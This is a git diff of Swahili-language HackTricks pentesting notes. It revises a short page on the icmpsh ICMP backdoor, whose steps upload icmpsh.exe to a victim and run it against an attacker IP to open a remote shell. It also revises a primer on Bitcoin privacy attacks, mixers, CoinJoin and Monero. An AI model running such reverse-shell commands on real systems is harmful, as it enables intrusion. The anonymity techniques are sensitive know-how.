||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Pakua backdoor kutoka: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
Pakua mlango wa nyuma kutoka: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
||||
# Upande wa Mteja
|
||||
|
||||
Tekeleza script: **run.sh**
|
||||
Tekeleza scripti: **run.sh**
|
||||
|
||||
**Ikiwa unapata kosa fulani, jaribu kubadilisha mistari:**
|
||||
**Ikiwa unapata kosa, jaribu kubadilisha mistari:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
|
|
@ -29,22 +29,23 @@ IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
|||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **Upande wa Mwathiri**
|
||||
# **Upande wa Mlemavu**
|
||||
|
||||
Pakia **icmpsh.exe** kwa mwathiri na tekeleza:
|
||||
Pakia **icmpsh.exe** kwa mlemavu na tekeleza:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,179 +1,184 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Mawazo Muhimu
|
||||
## Misingi ya Msingi
|
||||
|
||||
- **Mikataba Smart** inafafanuliwa kama programu ambazo hutekelezwa kwenye blockchain wakati masharti fulani yanakidhiwa, kutekeleza makubaliano bila wakala wa kati.
|
||||
- **Maombi Yasiyotawaliwa (dApps)** yanajengwa kwenye mikataba smart, yakionyesha kiolesura cha mtumiaji rafiki na sehemu ya nyuma inayoweza kuangaliwa na kuthibitishwa.
|
||||
- **Alama & Sarafu** zinatofautisha ambapo sarafu hutumika kama pesa ya dijiti, wakati alama zinaonyesha thamani au umiliki katika muktadha maalum.
|
||||
- **Alama za Matumizi** hutoa ufikiaji wa huduma, na **Alama za Usalama** zinaashiria umiliki wa mali.
|
||||
- **DeFi** inasimama kwa Decentralized Finance, ikitoa huduma za kifedha bila mamlaka ya kati.
|
||||
- **DEX** na **DAOs** inahusu Jukwaa za Kubadilishana Zisizotawaliwa na Shirika la Kujitawala la Kujitawala, mtawaliwa.
|
||||
- **Mkataba Mjanja** unatambuliwa kama programu zinazotekelezwa kwenye blockchain wakati hali fulani zinakutana, kufanya utekelezaji wa makubaliano bila wakala.
|
||||
- **Maombi Yaliyosambazwa (dApps)** yanajengwa kwenye mikataba mjanja, yakionyesha kiolesura cha mtumiaji kirafiki na nyuma inayoweza kuangaliwa na kuthibitishwa.
|
||||
- **Vidakuzi na Sarafu** zinatofautisha ambapo sarafu hutumika kama pesa za kidijitali, wakati vidakuzi vinawakilisha thamani au umiliki katika muktadha maalum.
|
||||
- **Vidakuzi vya Matumizi** hutoa ufikiaji wa huduma, na **Vidakuzi vya Usalama** vinawakilisha umiliki wa mali.
|
||||
- **DeFi** inasimama kwa Fedha Zilizosambazwa, ikitoa huduma za kifedha bila mamlaka ya kati.
|
||||
- **DEX** na **DAOs** hurejelea Jukwaa za Kubadilishana Zilizosambazwa na Mashirika Yaliyosambazwa ya Kujitegemea, mtawalia.
|
||||
|
||||
## Mifumo ya Makubaliano
|
||||
|
||||
Mifumo ya makubaliano inahakikisha uthibitisho salama na uliokubaliwa wa shughuli kwenye blockchain:
|
||||
Mifumo ya makubaliano huthibitisha uthibitisho salama na uliokubaliwa wa shughuli kwenye blockchain:
|
||||
- **Uthibitisho wa Kazi (PoW)** unategemea nguvu ya kompyuta kwa uthibitisho wa shughuli.
|
||||
- **Uthibitisho wa Umiliki (PoS)** unahitaji wathibitishaji kushikilia kiasi fulani cha alama, kupunguza matumizi ya nishati ikilinganishwa na PoW.
|
||||
- **Uthibitisho wa Hisa (PoS)** unahitaji wathibitishaji kushikilia kiasi fulani cha vidakuzi, kupunguza matumizi ya nishati ikilinganishwa na PoW.
|
||||
|
||||
## Mambo Muhimu ya Bitcoin
|
||||
## Mambo Msingi ya Bitcoin
|
||||
|
||||
### Shughuli
|
||||
|
||||
Shughuli za Bitcoin zinahusisha kuhamisha fedha kati ya anwani. Shughuli huthibitishwa kupitia saini za dijiti, ikihakikisha kuwa mmiliki wa ufunguo wa faragha ndiye anayeweza kuanzisha uhamisho.
|
||||
Shughuli za Bitcoin zinahusisha uhamishaji wa fedha kati ya anwani. Shughuli huthibitishwa kupitia saini za kidijitali, kuhakikisha tu mmiliki wa ufunguo wa faragha anaweza kuanzisha uhamisho.
|
||||
|
||||
#### Vipengele muhimu:
|
||||
|
||||
- Shughuli za **Multisignature** inahitaji saini nyingi kuidhinisha shughuli.
|
||||
- Shughuli zinaundwa na **vyanzo** (chanzo cha fedha), **matokeo** (marudio), **ada** (ilipwa kwa wachimbaji), na **hati** (kanuni za shughuli).
|
||||
- **Shughuli za Multisignature** zinahitaji saini nyingi kuidhinisha shughuli.
|
||||
- Shughuli zina **vyanzo** (chanzo cha fedha), **marudio** (mahali pa kuelekea), **ada** (iliyolipwa kwa wachimbaji), na **maandishi** (kanuni za shughuli).
|
||||
|
||||
### Mtandao wa Lightning
|
||||
|
||||
Lengo ni kuboresha uwezo wa Bitcoin kwa kuruhusu shughuli nyingi ndani ya kituo, na kutangaza hali ya mwisho tu kwenye blockchain.
|
||||
Lengo ni kuboresha uwezo wa Bitcoin kwa kuruhusu shughuli nyingi ndani ya kituo, kisha kutangaza hali ya mwisho tu kwenye blockchain.
|
||||
|
||||
## Maswala ya Faragha ya Bitcoin
|
||||
|
||||
Mashambulizi ya faragha, kama **Umiliki wa Ingizo la Kawaida** na **Ugunduzi wa Anwani ya Kubadilisha UTXO**, yanatumia mifumo ya shughuli. Mkakati kama **Mixers** na **CoinJoin** huongeza usiri kwa kuficha viungo vya shughuli kati ya watumiaji.
|
||||
Mashambulizi ya faragha, kama **Umiliki wa Pamoja wa Ingizo** na **Ugunduzi wa Anwani ya Kubadilisha UTXO**, yanatumia mifumo ya shughuli. Mikakati kama **Mchanganyiko** na **CoinJoin** huimarisha kutokujulikana kwa kuficha viungo vya shughuli kati ya watumiaji.
|
||||
|
||||
## Kupata Bitcoins kwa Siri
|
||||
|
||||
Njia ni pamoja na biashara ya pesa taslimu, uchimbaji, na matumizi ya mixers. **CoinJoin** inachanganya shughuli nyingi ili kufanya ufuatiliaji kuwa mgumu, wakati **PayJoin** inaficha CoinJoins kama shughuli za kawaida kwa faragha zaidi.
|
||||
Njia ni pamoja na biashara ya pesa taslimu, uchimbaji, na kutumia mchanganyiko. **CoinJoin** inachanganya shughuli nyingi kufanya iwe ngumu kufuatilia, wakati **PayJoin** inaficha CoinJoins kama shughuli za kawaida kwa faragha iliyoboreshwa.
|
||||
|
||||
|
||||
# Mashambulizi ya Faragha ya Bitcoin
|
||||
|
||||
# Muhtasari wa Mashambulizi ya Faragha ya Bitcoin
|
||||
|
||||
Katika ulimwengu wa Bitcoin, faragha ya shughuli na utambulisho wa watumiaji mara nyingi ni masuala ya wasiwasi. Hapa kuna muhtasari rahisi wa njia kadhaa za kawaida ambazo wadukuzi wanaweza kuhatarisha faragha ya Bitcoin.
|
||||
Katika ulimwengu wa Bitcoin, faragha ya shughuli na kutokujulikana kwa watumiaji mara nyingi ni masuala ya wasiwasi. Hapa kuna muhtasari rahisi wa njia kadhaa za kawaida ambazo wadukuzi wanaweza kuhatarisha faragha ya Bitcoin.
|
||||
|
||||
## **Kudhani Umiliki wa Ingizo la Kawaida**
|
||||
## **Udhani wa Umiliki wa Ingizo la Kawaida**
|
||||
|
||||
Kwa ujumla ni nadra kwa vyanzo kutoka kwa watumiaji tofauti kuunganishwa katika shughuli moja kutokana na ugumu uliopo. Hivyo, **anwani mbili za chanzo katika shughuli moja mara nyingi huchukuliwa kuwa mali ya mmiliki mmoja**.
|
||||
Kwa ujumla ni nadra kwa vyanzo kutoka kwa watumiaji tofauti kuunganishwa katika shughuli moja kutokana na ugumu uliopo. Hivyo, **anwani mbili za vyanzo katika shughuli moja mara nyingi huchukuliwa kuwa za mmiliki mmoja**.
|
||||
|
||||
## **Ugunduzi wa Anwani ya Kubadilisha UTXO**
|
||||
|
||||
UTXO, au **Unspent Transaction Output**, lazima itumike kabisa katika shughuli. Ikiwa sehemu tu ya UTXO inatumwa kwa anwani nyingine, sehemu iliyobaki inaenda kwa anwani mpya ya kubadilisha. Wachunguzi wanaweza kudhani anwani hii mpya ni ya mtumaji, ikidhoofisha faragha.
|
||||
UTXO, au **Utoaji wa Shughuli Usioutumiwa**, lazima utumike kabisa katika shughuli. Ikiwa sehemu tu inatumwa kwa anwani nyingine, sehemu iliyobaki inaelekea kwenye anwani mpya ya kubadilisha. Wachunguzi wanaweza kudhani anwani hii mpya inamilikiwa na mtumaji, ikahatarisha faragha.
|
||||
|
||||
### Mfano
|
||||
Kuongeza usiri kunaweza kusaidia kwa kutumia huduma za kuchanganya au kutumia anwani nyingi.
|
||||
Kwa kuzuwia hii, huduma za kuchanganya au kutumia anwani nyingi zinaweza kusaidia kuficha umiliki.
|
||||
|
||||
## **Ufunuo wa Mitandao ya Kijamii na Vikundi**
|
||||
## **Mawasiliano kwenye Mitandao ya Kijamii na Vikundi**
|
||||
|
||||
Watumiaji mara nyingi hushiriki anwani zao za Bitcoin mkondoni, ikifanya iwe **rahisi kuunganisha anwani na mmiliki wake**.
|
||||
Watumiaji mara nyingi huweka anwani zao za Bitcoin mtandaoni, hivyo kuwa **rahisi kuunganisha anwani na mmiliki wake**.
|
||||
|
||||
## **Uchambuzi wa Grafu ya Shughuli**
|
||||
|
||||
Shughuli zinaweza kuonyeshwa kama grafu, zikifunua uhusiano kati ya watumiaji kulingana na mtiririko wa fedha.
|
||||
Shughuli zinaweza kuonekana kama grafu, zikifunua uhusiano kati ya watumiaji kulingana na mtiririko wa fedha.
|
||||
|
||||
## **Heuristi ya Ingizo Isiyohitajika (Heuristi ya Kubadilisha Bora)**
|
||||
|
||||
Heuristi hii inategemea uchambuzi wa shughuli na vyanzo na matokeo kadhaa ili kudhani ni matokeo gani yanayorudi kwa mtumaji.
|
||||
Heuristi hii inategemea uchambuzi wa shughuli zenye vyanzo na marudio mengi kudhani ni marudio gani yanayorudi kwa mtumaji.
|
||||
|
||||
### Mfano
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
## **Matumizi ya Anwani kwa Lazima**
|
||||
## **Kutumia Anwani Kwa Lazima Tena**
|
||||
|
||||
Wahalifu wanaweza kutuma kiasi kidogo kwenye anwani zilizotumiwa hapo awali, wakitarajia mpokeaji atachanganya kiasi hicho na michango mingine kwenye shughuli za baadaye, hivyo kuunganisha anwani hizo pamoja.
|
||||
Washambuliaji wanaweza kutuma kiasi kidogo kwa anwani zilizotumiwa awali, wakitarajia mpokeaji atachanganya kiasi hicho na vipande vingine katika shughuli za baadaye, hivyo kuunganisha anwani pamoja.
|
||||
|
||||
### Tabia Sahihi ya Mfuko wa Fedha
|
||||
Mifuko ya fedha inapaswa kuepuka kutumia sarafu zilizopokelewa kwenye anwani zilizotumiwa hapo awali na zilizo tupu ili kuzuia uvujaji wa faragha hii.
|
||||
### Tabia Sahihi ya Mfuko wa Pesa
|
||||
Mifuko ya pesa inapaswa kuepuka kutumia sarafu zilizopokelewa kwenye anwani zilizotumiwa tayari, ili kuzuia uvujaji huu wa faragha.
|
||||
|
||||
## **Teknolojia Nyingine za Uchambuzi wa Blockchain**
|
||||
## **Mbinu Nyingine za Uchambuzi wa Blockchain**
|
||||
|
||||
- **Kiasi Halisi cha Malipo:** Shughuli zisizo na mabadiliko huonyesha uwezekano wa kuwa kati ya anwani mbili zinazomilikiwa na mtumiaji mmoja.
|
||||
- **Namba za Mzunguko:** Namba za mzunguko kwenye shughuli inaonyesha kuwa ni malipo, na pato lisilo la mzunguko linaweza kuwa mabadiliko.
|
||||
- **Uchunguzi wa Alama ya Mfuko wa Fedha:** Mifuko tofauti ya fedha ina mifumo ya kipekee ya kuunda shughuli, kuruhusu wachambuzi kutambua programu iliyotumiwa na labda anwani ya mabadiliko.
|
||||
- **Ulinganishaji wa Kiasi na Wakati:** Kufichua nyakati au kiasi cha shughuli kunaweza kufanya shughuli ziweze kufuatiliwa.
|
||||
- **Mikataba ya Malipo Sahihi:** Shughuli bila mabadiliko inaashiria kuwa kati ya anwani mbili zinazomilikiwa na mtumiaji mmoja.
|
||||
- **Namba za Mzunguko:** Namba ya mzunguko katika shughuli inaonyesha kuwa ni malipo, na matokeo yasiyo ya mzunguko yanaweza kuwa mabadiliko.
|
||||
- **Uchambuzi wa Mfumo wa Mfuko:** Mifuko tofauti ina mifumo ya kipekee ya uundaji wa shughuli, kuruhusu wachambuzi kutambua programu iliyotumiwa na labda anwani ya mabadiliko.
|
||||
- **Ulinganisho wa Kiasi na Wakati:** Kufichua nyakati au kiasi cha shughuli kunaweza kufanya shughuli ziweze kufuatiliwa.
|
||||
|
||||
## **Uchambuzi wa Trafiki**
|
||||
|
||||
Kwa kufuatilia trafiki ya mtandao, wahalifu wanaweza kuunganisha shughuli au vitalu kwenye anwani za IP, kuhatarisha faragha ya mtumiaji. Hii ni kweli hasa ikiwa kampuni inaendesha nodi nyingi za Bitcoin, ikiongeza uwezo wao wa kufuatilia shughuli.
|
||||
Kwa kufuatilia trafiki ya mtandao, washambuliaji wanaweza kuunganisha shughuli au vitalu kwa anwani za IP, kuhatarisha faragha ya mtumiaji. Hii ni kweli hasa ikiwa kampuni inaendesha nodi nyingi za Bitcoin, ikiboresha uwezo wao wa kufuatilia shughuli.
|
||||
|
||||
## Zaidi
|
||||
Kwa orodha kamili ya mashambulizi na ulinzi wa faragha, tembelea [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
Kwa orodha kamili ya mashambulizi na ulinzi wa faragha, tembelea [Faragha ya Bitcoin kwenye Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
|
||||
# Shughuli za Bitcoin Zisizo na Majina
|
||||
# Shughuli za Bitcoin Zisizojulikana
|
||||
|
||||
## Njia za Kupata Bitcoins kwa Siri
|
||||
|
||||
- **Shughuli za Fedha:** Kupata bitcoin kwa njia ya fedha taslimu.
|
||||
- **Chaguzi za Fedha:** Kununua kadi za zawadi na kuzibadilisha mtandaoni kwa bitcoin.
|
||||
- **Uchimbaji:** Njia ya faragha zaidi ya kupata bitcoins ni kupitia uchimbaji, hasa wakati inafanywa peke yake kwa sababu vikundi vya uchimbaji vinaweza kujua anwani ya IP ya mchimbaji. [Maelezo ya Vikundi vya Uchimbaji](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Wizi:** Kimsingi, kuiba bitcoin kunaweza kuwa njia nyingine ya kupata kwa siri, ingawa ni kinyume cha sheria na sio inapendekezwa.
|
||||
- **Shughuli za Fedha Taslimu**: Kupata bitcoin kupitia pesa taslimu.
|
||||
- **Mbadala wa Fedha Taslimu**: Kununua kadi za zawadi na kuzibadilisha mtandaoni kwa bitcoin.
|
||||
- **Uchimbaji**: Njia ya faragha zaidi ya kupata bitcoins ni kupitia uchimbaji, hasa unapofanywa peke yako kwa sababu mabwawa ya uchimbaji yanaweza kujua anwani ya IP ya mchimbaji. [Maelezo ya Mabwawa ya Uchimbaji](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Wizi**: Kimsingi, kuiba bitcoin kunaweza kuwa njia nyingine ya kupata kwa siri, ingawa ni kinyume cha sheria na sio kupendekezwa.
|
||||
|
||||
## Huduma za Kuchanganya
|
||||
|
||||
Kwa kutumia huduma ya kuchanganya, mtumiaji anaweza **kutuma bitcoins** na kupokea **bitcoins tofauti kama malipo**, ambayo inafanya kuwa ngumu kufuatilia mmiliki wa awali. Hata hivyo, hii inahitaji imani kwa huduma hiyo kutokuhifadhi kumbukumbu na kwa kweli kurudisha bitcoins. Chaguzi zingine za kuchanganya ni pamoja na kasinoo za Bitcoin.
|
||||
Kwa kutumia huduma ya kuchanganya, mtumiaji anaweza **kutuma bitcoins** na kupokea **bitcoins tofauti badala yake**, hivyo kufanya kuandika mmiliki wa awali kuwa ngumu. Hata hivyo, hii inahitaji imani kwa huduma hiyo kutokuweka kumbukumbu na kurudisha bitcoins halisi. Chaguzi mbadala za kuchanganya ni pamoja na kasinon za Bitcoin.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** inachanganya shughuli nyingi kutoka kwa watumiaji tofauti kuwa moja, ikifanya iwe ngumu kwa yeyote anayejaribu kulinganisha michango na pato. Licha ya ufanisi wake, shughuli zenye ukubwa wa kipekee wa kuingiza na pato bado zinaweza kufuatiliwa.
|
||||
**CoinJoin** inachanganya shughuli nyingi kutoka kwa watumiaji tofauti kuwa moja, ikifanya iwe ngumu kwa yeyote anayejaribu kulinganisha vipande vya kuingiza na vya kutoa. Licha ya ufanisi wake, shughuli zenye vipande vya kipekee vya kuingiza na kutoa bado inaweza kufuatiliwa.
|
||||
|
||||
Shughuli za mfano ambazo zinaweza kuwa zimeitumia CoinJoin ni `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` na `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
Shughuli za mfano ambazo zinaweza kuwa zimetumia CoinJoin ni `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` na `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
Kwa maelezo zaidi, tembelea [CoinJoin](https://coinjoin.io/en). Kwa huduma kama hiyo kwenye Ethereum, angalia [Tornado Cash](https://tornado.cash), ambayo inaficha shughuli na fedha kutoka kwa wachimbaji.
|
||||
Kwa maelezo zaidi, tembelea [CoinJoin](https://coinjoin.io/en). Kwa huduma kama hiyo kwenye Ethereum, angalia [Tornado Cash](https://tornado.cash), ambayo inaficha shughuli na fedha kutoka kwa wachimbaji.
|
||||
|
||||
## PayJoin
|
||||
|
||||
Aina ya CoinJoin, **PayJoin** (au P2EP), inaficha shughuli kati ya pande mbili (k.m., mteja na muuzaji) kama shughuli ya kawaida, bila matokeo sawa yanayojulikana ya CoinJoin. Hii inafanya iwe ngumu sana kugundua na inaweza kufuta kanuni ya kawaida ya kumiliki kuingiza inayotumiwa na taasisi za ufuatiliaji wa shughuli.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Miamalaumalipo kama yaliyotajwa hapo juu yanaweza kuwa PayJoin, kuongeza faragha wakati bado inaonekana kama shughuli za kawaida za bitcoin.
|
||||
**Biashara kama hiyo inaweza kuwa PayJoin, ikiboresha faragha wakati bado inabaki isiyotofautishika na shughuli za kawaida za bitcoin.**
|
||||
|
||||
**Matumizi ya PayJoin yanaweza kuvuruga sana njia za uchunguzi za jadi**, hivyo kuwa maendeleo yanayotia moyo katika kufuatilia faragha ya shughuli.
|
||||
**Matumizi ya PayJoin yanaweza kuvuruga sana njia za uchunguzi za jadi**, ikifanya kuwa maendeleo yanayotia moyo katika harakati za faragha ya shughuli.
|
||||
|
||||
# Mbinu Bora za Faragha katika Sarafu za Kielektroniki
|
||||
|
||||
## **Mbinu za Synchronizing za Mifuko ya Pesa**
|
||||
## **Mbinu za Synchronization ya Pochi**
|
||||
|
||||
Ili kudumisha faragha na usalama, kusawazisha mifuko ya pesa na blockchain ni muhimu. Kuna njia mbili zinazosimama:
|
||||
Ili kudumisha faragha na usalama, kusawazisha pochi na blockchain ni muhimu. Kuna njia mbili zinazojitokeza:
|
||||
|
||||
- **Node kamili**: Kwa kupakua blockchain nzima, node kamili inahakikisha faragha ya juu. Shughuli zote zilizofanywa hapo awali zimehifadhiwa kwenye kifaa, hivyo kuwa haiwezekani kwa wapinzani kutambua ni shughuli gani au anwani gani mtumiaji anavutiwa nazo.
|
||||
- **Uchujaji wa kizuizi upande wa mteja**: Njia hii inahusisha kuunda vichujio kwa kila kizuizi katika blockchain, kuruhusu mifuko ya pesa kutambua shughuli muhimu bila kufichua maslahi maalum kwa wachunguzi wa mtandao. Mifuko nyepesi hupakua vichujio hivi, na kuchukua kizuizi kamili tu wakati kuna mechi na anwani za mtumiaji.
|
||||
- **Node kamili**: Kwa kupakua blockchain nzima, node kamili inahakikisha faragha ya juu. Shughuli zote zilizowahi kufanywa zimehifadhiwa kwa kiasia, ikifanya iwe haiwezekani kwa wapinzani kutambua ni shughuli gani au anwani ambazo mtumiaji anavutiwa nazo.
|
||||
- **Uchujaji wa block upande wa mteja**: Njia hii inahusisha kuunda vichujio kwa kila block katika blockchain, kuruhusu pochi kutambua shughuli husika bila kufichua maslahi maalum kwa wachunguzi wa mtandao. Pochi nyepesi hupakua vichujio hivi, na kuchukua block kamili tu wakati kuna kulinganisha na anwani za mtumiaji.
|
||||
|
||||
## **Matumizi ya Tor kwa Anonimiteti**
|
||||
## **Kutumia Tor kwa Anonimiti**
|
||||
|
||||
Kwa kuwa Bitcoin inafanya kazi kwenye mtandao wa rika-kwa-rika, ni vyema kutumia Tor ili kuficha anwani yako ya IP, kuongeza faragha wakati wa kuingiliana na mtandao.
|
||||
Kwa kuwa Bitcoin inafanya kazi kwenye mtandao wa rika-kwa-rika, kutumia Tor kunapendekezwa kuficha anwani yako ya IP, ikiboresha faragha unaposhirikiana na mtandao.
|
||||
|
||||
## **Kuzuia Matumizi ya Anwani**
|
||||
## **Kuzuia Kutumia Anwani Tena**
|
||||
|
||||
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila shughuli. Matumizi ya anwani moja yanaweza kuhatarisha faragha kwa kuunganisha shughuli kwa kitu kimoja. Mifuko ya pesa ya kisasa inakataza matumizi ya anwani moja kupitia muundo wake.
|
||||
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila shughuli. Kutumia anwani mara kwa mara kunaweza kuhatarisha faragha kwa kuunganisha shughuli kwa kitambulisho kimoja. Pochi za kisasa zinakataza kutumia anwani tena kupitia muundo wao.
|
||||
|
||||
## **Mbinu za Faragha katika Shughuli**
|
||||
## **Mbinu za Faragha ya Shughuli**
|
||||
|
||||
- **Shughuli nyingi**: Kugawanya malipo katika shughuli kadhaa kunaweza kuficha kiasi cha shughuli, kuzuia mashambulizi ya faragha.
|
||||
- **Kuepuka kubadilisha**: Kuchagua shughuli ambazo hazihitaji mabadiliko ya pato kunaimarisha faragha kwa kuvuruga njia za kugundua mabadiliko.
|
||||
- **Patoni nyingi za kubadilisha**: Ikiwa kuepuka kubadilisha sio rahisi, kuzalisha patoni nyingi za kubadilisha bado kunaweza kuboresha faragha.
|
||||
- **Kuepuka kubadilisha**: Kuchagua shughuli ambazo hazihitaji mabadiliko ya pato kunaboresha faragha kwa kuvuruga njia za kugundua mabadiliko.
|
||||
- **Patosha mabadiliko mengi**: Ikiwa kuepuka mabadiliko sio jambo linalowezekana, kuzalisha mabadiliko mengi bado kunaweza kuboresha faragha.
|
||||
|
||||
# **Monero: Ishara ya Anonimiteti**
|
||||
# **Monero: Kielelezo cha Anonimiti**
|
||||
|
||||
Monero inashughulikia haja ya anonimiteti kamili katika shughuli za dijiti, ikiweka kiwango cha juu cha faragha.
|
||||
Monero inakabiliana na haja ya anonimiti kamili katika shughuli za kidijitali, ikiweka kiwango kikubwa cha faragha.
